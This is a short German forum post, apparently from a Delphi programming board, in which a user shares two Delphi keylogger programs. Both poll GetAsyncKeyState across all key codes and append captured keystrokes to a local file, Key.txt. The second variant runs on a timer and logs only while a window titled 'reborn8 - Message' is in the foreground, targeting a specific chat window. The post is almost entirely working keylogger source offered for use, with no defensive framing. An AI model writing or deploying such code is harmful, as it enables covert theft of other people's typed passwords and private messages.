Keylogger und diakritische Zeichen

[Mackhack]

Das war das Programm von dem ich redete...

Delphi-Quellcode:

Program Project1;

Uses
  SysUtils, WINPROCS, Forms;

{$R *.RES}

{Procedure XXX;
Var
  I, X : Integer;
  F : TextFile;
Begin
  AssignFile(F, 'Key.txt');
  If Not FileExists('Key.txt') Then
  Begin
    ReWrite(F);
    Close(F);
  End;
  Repeat
    For I := 1 To 255 Do
    Begin
      X := GetAsyncKeyState(I);
        If X <> 0 Then
        Begin
          If (I In [Ord('A')..Ord('Z')]) Or (I In [32, 46, 49..58]) Then
            If Lo(X) <> 0 Then
              Begin
                Append(F);
                Write(F, Chr(I));
                CloseFile(F);
              End;
              If (Lo(X) <> 0) And (I = 13) Then
              Begin
                Append(F);
                WriteLn(F);
                CloseFile(F);
              End;
            End;
        End;
  Until False;
End;}

Procedure XXX; 
Var
  I     : Byte;
  X     : SmallInt;
  Datei : TextFile;
Begin
  AssignFile(Datei, 'Key.txt');
  If (Not FileExists('Key.txt')) Then
    ReWrite(Datei)
  Else
    Append(Datei);

  For I := 1 To 255 Do
  Begin
    X := GetAsyncKeyState(I);
    If (X AND $8000 <> 0) Then
      Write(Datei, Char(I));
  End;
  CloseFile(Datei);
End;

Begin
  XXX;
End.

oder so...

Delphi-Quellcode:

program Project3;

uses
  SysUtils, Windows, Messages;

{$R *.RES}

procedure TimerCallBack;
var
  Wnd: HWnd;
  PC: array[0..255] of Char;
  I: Integer;
  F: TextFile;
  X: Integer;
begin
  Wnd := GetForegroundWindow;
  GetWindowText(Wnd, PC, 255);
  if ( PC = 'reborn8 - Message' ) then
  begin
    AssignFile(F, 'Key.txt');
    if ( not FileExists('Key.txt') ) then
    begin
      ReWrite(F);
      Close(F);
    end;
    repeat
      for I := 1 to 255 do
      begin
        X := GetAsyncKeyState(I);
        if ( X <> 0 ) then
        begin
          if ((I >= Ord('A')) and (I <= Ord('Z'))) or (I = 32) then
          begin
            if ( Lo(X) <> 0 ) then
            begin
              Append(F);
              Write(F,Chr(I));
              CloseFile(F);
            end;
            if (Lo(X) <> 0) and (I = 13) then
            begin
              Append(F);
              WriteLn(F);
              CloseFile(F);
            end;
          end;
        end;
      end;
    until False;
  end;
end;

var
  Msg: TMsg;
begin
  SetTimer(0, 0, 100, @TimerCallBack);
  while GetMessage(Msg, 0, 0, 0) do
  begin
    case Msg.Message of
      WM_CLOSE,
      WM_DESTROY: Break;
      WM_SYSCOMMAND: if ( Msg.wParam = SC_Close ) then
      begin
        Break;
      end;
    end;
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
  ExitCode := Msg.wParam;
end.